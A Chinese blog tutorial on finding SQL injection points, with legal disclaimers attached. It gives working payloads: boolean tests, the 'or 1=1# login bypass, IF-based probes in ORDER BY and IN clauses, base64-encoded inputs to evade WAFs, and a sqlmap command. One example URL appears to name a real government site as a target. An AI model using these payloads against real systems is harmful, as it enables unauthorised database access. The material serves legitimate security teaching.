[ 漏洞挖掘基础篇四 ] 漏洞挖掘之 SQL 注入挖掘

🍬博主介绍

👨‍🎓 博主介绍：大家好，我是 _PowerShell​ ，很高兴认识大家~
✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限，欢迎各位大佬指点，相互学习进步！

目录

​​🍬博主介绍​​

​​中华人民共和国网络安全法​​

​​文章内容仅用于以防御为目的的教学演示请勿用于其他用途，否则后果自负​​

​​漏洞发布要求​​

​​一、SRC行业安全测试规范​​

​​二、sql 注入简介​​

​​1. 简单介绍​​

​​2. 从开发角度看​​

​​三、sql 注入产生的关键点​​

​​四、简单思考题​​

​​五、普通测试​​

​​1. 整型: id=111-0 与 id=111-1​​

​​2. 字符型: username= zhangsan' and 1=1#与username=zhangsan' and 1=2#​​

​​3. 搜索型: word=a%' and 1=1#与word=a%' and 1=2# ​​

​​ 六、万能密码:​​

​​1. 简单测试​​

​​2. 思考:为什么万能密码是在用户名处填写而不在密码处填写?​​

​​ 七、非常见位置测试：(预编译失效的点)​​

​​1. 预编译失效原因  ​​

​​预编译：​​

​​例如：​​

​​2. order by​​

​​测试：​​

​​3. esc && desc​​

​​测试：​​

​​4. in​​

​​测试：​​

​​5. base64参数的测试:​​

​​1. 优势：​​

​​2. 示例：​​

​​3. 利用：​​

​​八、注意事项：​​

​​ 中华人民共和国网络安全法第二十七条​​

​​文章内容仅用于以防御为目的的教学演示请勿用于其他用途，否则后果自负​​

​​漏洞发布要求​​

---

中华人民共和国网络安全法

第二十七条
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动:不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具，明知他人从事危害网络安全的活动的，不得为其提供技术支持、广告推广、支付结算等帮助。

文章内容仅用于以防御为目的的教学演示请勿用于其他用途，否则后果自负

漏洞发布要求

1.不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息
2.不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况不得刻意夸大网络产品安全漏洞的危害和风险，
3.不得利用网络产品安全漏洞信息实施恶意炒作或者进行诈骗、敲诈勒索等违法犯罪活动
4.不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具5. 5.在发布网络产品安全漏洞时，应当同步发布修补或者防范措施
6.在国家举办重大活动期间，未经公安部同意，不得擅自发布网络产品安全漏洞信息
7.不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供
8.法律法规的其他相关规定

一、SRC行业安全测试规范

注入漏洞,只要证明可以读取数据就行,严禁读取表内数据。

对于UPDATE、 DELETE、INSERT等注入类型,不允许使用自动化工具进行测试。

​​[TPSA19-22]SRC行业安全测试规范 - 腾讯安全应急响应中心 (tencent.com)​​

二、sql 注入简介

1. 简单介绍

SQL注入(英语: SQL injection ) , 也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。

简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而执行,因此遭到破坏或是入侵。

2. 从开发角度看

开发需求：用户点击对应文章链接实现查看文章内容

实现结果：用户访问网址www.x.com/article.php?id=18查看到对应的文章内容

实现方式(关键步骤)：

1. 获取用户id参数传递值18.

2. 去mysq|中articles表查询id字段等于18的值的内容( select * from articles whereid=18)

3. 从数据库查询结果回显至浏览器

三、sql 注入产生的关键点

1. 用户提交(主动或被动)的数据内容被带入到数据库

2. 程序没有对用户提交内容做合理的处理,导致用户可以改变原有sq|语义或添加额外的sq|语句

四、简单思考题

请回答以上地址哪些有可能存在sq|注入?为什么? (多选)

A.http://www.test.com/news/id/1111.html

B.http://www.test.com/news.php?id=1111

C.http://www.test.com/?m=index

D.http://www.test.com/news/id/1111

解析:

A看起来是个html页面,但是实际中很多情况为伪静态页面,即通过webserver做了规则重写,类似rewrite ^/news/id/(\d + ).html /news.php?id=$1 last;这种规则,实际请求的还是等同于news.php?id= 1111

B为最常见的sq|注入url ,这里不做表述

C是通过m参数值控制调用的文件,参数并未带入到数据库中,所以不会导致sq|注入，当然有一种奇葩的写法是把文件内容入库,通过此种请求调用(估计比千万分之一便小的概率,如果大家确实是考虑到了这一点而选择的C也可以不算错)

D与A同理,利用的webserver的重写

答案: ABD

五、普通测试

1. 整型: id=111-0 与 id=111-1

通过运算符号改变原有的id值。测试页面或者返回值发生了变化，那么就成功找到了注入点

2. 字符型: username= zhangsan' and 1=1#与username=zhangsan' and 1=2#

username= zhangsan' and 1=1#    返回正确

username=zhangsan' and 1=2#     返回错误

如果传递了一个为假的条件，就不返回了

成功找到注入点

3. 搜索型: word=a%' and 1=1#与word=a%' and 1=2# 

word=a%' and 1=1#     返回正确

word=a%' and 1=2#     返回错误

如果传递了一个为假的条件，就不返回了

就成功找到注入点

 六、万能密码:

1. 简单测试

用户名填写'or 1=1#密码随意填写（Pikachu水平越权就是万能密码登录）

 

2. 思考:为什么万能密码是在用户名处填写而不在密码处填写?

密码是不能明文存在数据库中的，所以不能再密码处填写万能密码（加密方式）

理论上来说，如果密码是明文存储也是可以做万能密码的

 

 

 七、非常见位置测试：(预编译失效的点)

预编译不起作用（带有排序功能的场景  如order by）

（表名或者列名字段，其实预编译也是不生效的，只不过实际应用中比较少）

order by 后面  字符  不加  引号

username 后面  字符  加引号

1. 预编译失效原因  

预编译：

预编译：select from member where username=?;

如果是字符型的就回去加双引号

如select from member where “username”

那这个语句就是错的，所以说预编译对于字符型不起作用。

例如：

old.torcst.kcrala.gov.in/indcx.php?option =com. docman&task= cat. vicw&gid=1U6&limit= 10&limitstart=0&order=dateBedir=asc&ultemid=15

2. order by

order by [注入点]：常见参数(order by)          //预编译对该位置sq|注入无效

测试：

原值 if((1=1),1,(select 1 union select 2))

原值 if((1=2),1,(select 1 union select 2))

加一个if的判断来进行测试

if(1=1)页面还是正常

if(1=2)执行出错

原因：If成立执行前面的 1，if不成立执行后面的 select 1 union select 2

  

3. esc && desc

order by列名[注入点]：常见默认值(desc、asc) //预编译对该位置sq|注入无效

测试：

if((1=1),1,(select 1 union select 2))

if((1=2),1,(select 1 union select 2))

 

 

select from member where username esc;  正序

select from member where username desc;  倒叙

在这种情况下，预编译不生效

4. in

in (注入点):常见参数(ids或值中包含 的其他参数)

原值) and 1=1# 字符型:原值') and 1=1#

原值) and 1=2# 字符型:原值") and 1=2#

Select * from member where id in (1,3)；查询1和3

 

 

测试：

区别就是需要把原来的()闭合掉

Select * from member where id in (1,3) and 1=1#);

 

 

Select * from member where id in (1,3) and 1=2#);

 

 

5. base64参数的测试:

1. 优势：

1. 绝大部分扫描器不会识别

2. 参数经过base64转换后可以绕过waf

2. 示例：

如下操作可绕过部分waf，页面回显不同，发现注入点

http://192.168.31.103/sql base64.php?test param=bGlsaQ%3D%3D

bGlsaQ%3D%3D先url解码  ---->  bGlsaQ==     base64解码  ---->  lili

其实这句话就是：http://192.168.31.103/sql base64.php?test param=lili

http://192.168.31.103/sql base64.php?test param=bGlsaScgYW5kICcxJz0nMQ==

条件为真，返回查询信息

lili' and '1'='1  ---->（base64编码+url编码）  bGlsaScgYW5kICcxJz0nMQ==

其实这句话就是：http://192.168.31.103/sql base64.php?test param=lili' and '1'='1

 

 

http://192.168.31.103/sql base64.php?test param=bGlsaScgYW5kICcxJz0nMQ==

条件为假，没有返回结果

lili' and '1'='2  ---->（base64编码+url编码）  bGlsaScgYW5kICcxJz0nMg==

其实这句话就是：http://192.168.31.103/sql base64.php?test param=lili' and '1'='2

3. 利用：

上面示例中发现了注入点在启动 sqlmap 跑数据

ython sqlmap.py -u

" http://192.168.31.103/sql base64.php?test _param=bGlsaQ%3D%3D" -p test_ param --tamperbase64encode.py

 

八、注意事项：

1. MySQL不支持加密，只是在php里面做了一个base 64的解码，带到数据库里就变成了明文。

 2. 不同数据库操作都差不多，只不过有不同的方法，原理是一样的。找到了注入点，百度就好了。

 3. 过滤等于号（=） 可用使用 like 。如：select from member where username like 'lili'

username = 'lili' ---->  username like 'lili'

 中华人民共和国网络安全法第二十七条

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动:不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具，明知他人从事危害网络安全的活动的，不得为其提供技术支持、广告推广、支付结算等帮助。

文章内容仅用于以防御为目的的教学演示请勿用于其他用途，否则后果自负

漏洞发布要求

1.不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息
2.不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况不得刻意夸大网络产品安全漏洞的危害和风险，
3.不得利用网络产品安全漏洞信息实施恶意炒作或者进行诈骗、敲诈勒索等违法犯罪活动
4.不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具5. 5.在发布网络产品安全漏洞时，应当同步发布修补或者防范措施
6.在国家举办重大活动期间，未经公安部同意，不得擅自发布网络产品安全漏洞信息
7.不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供
8.法律法规的其他相关规定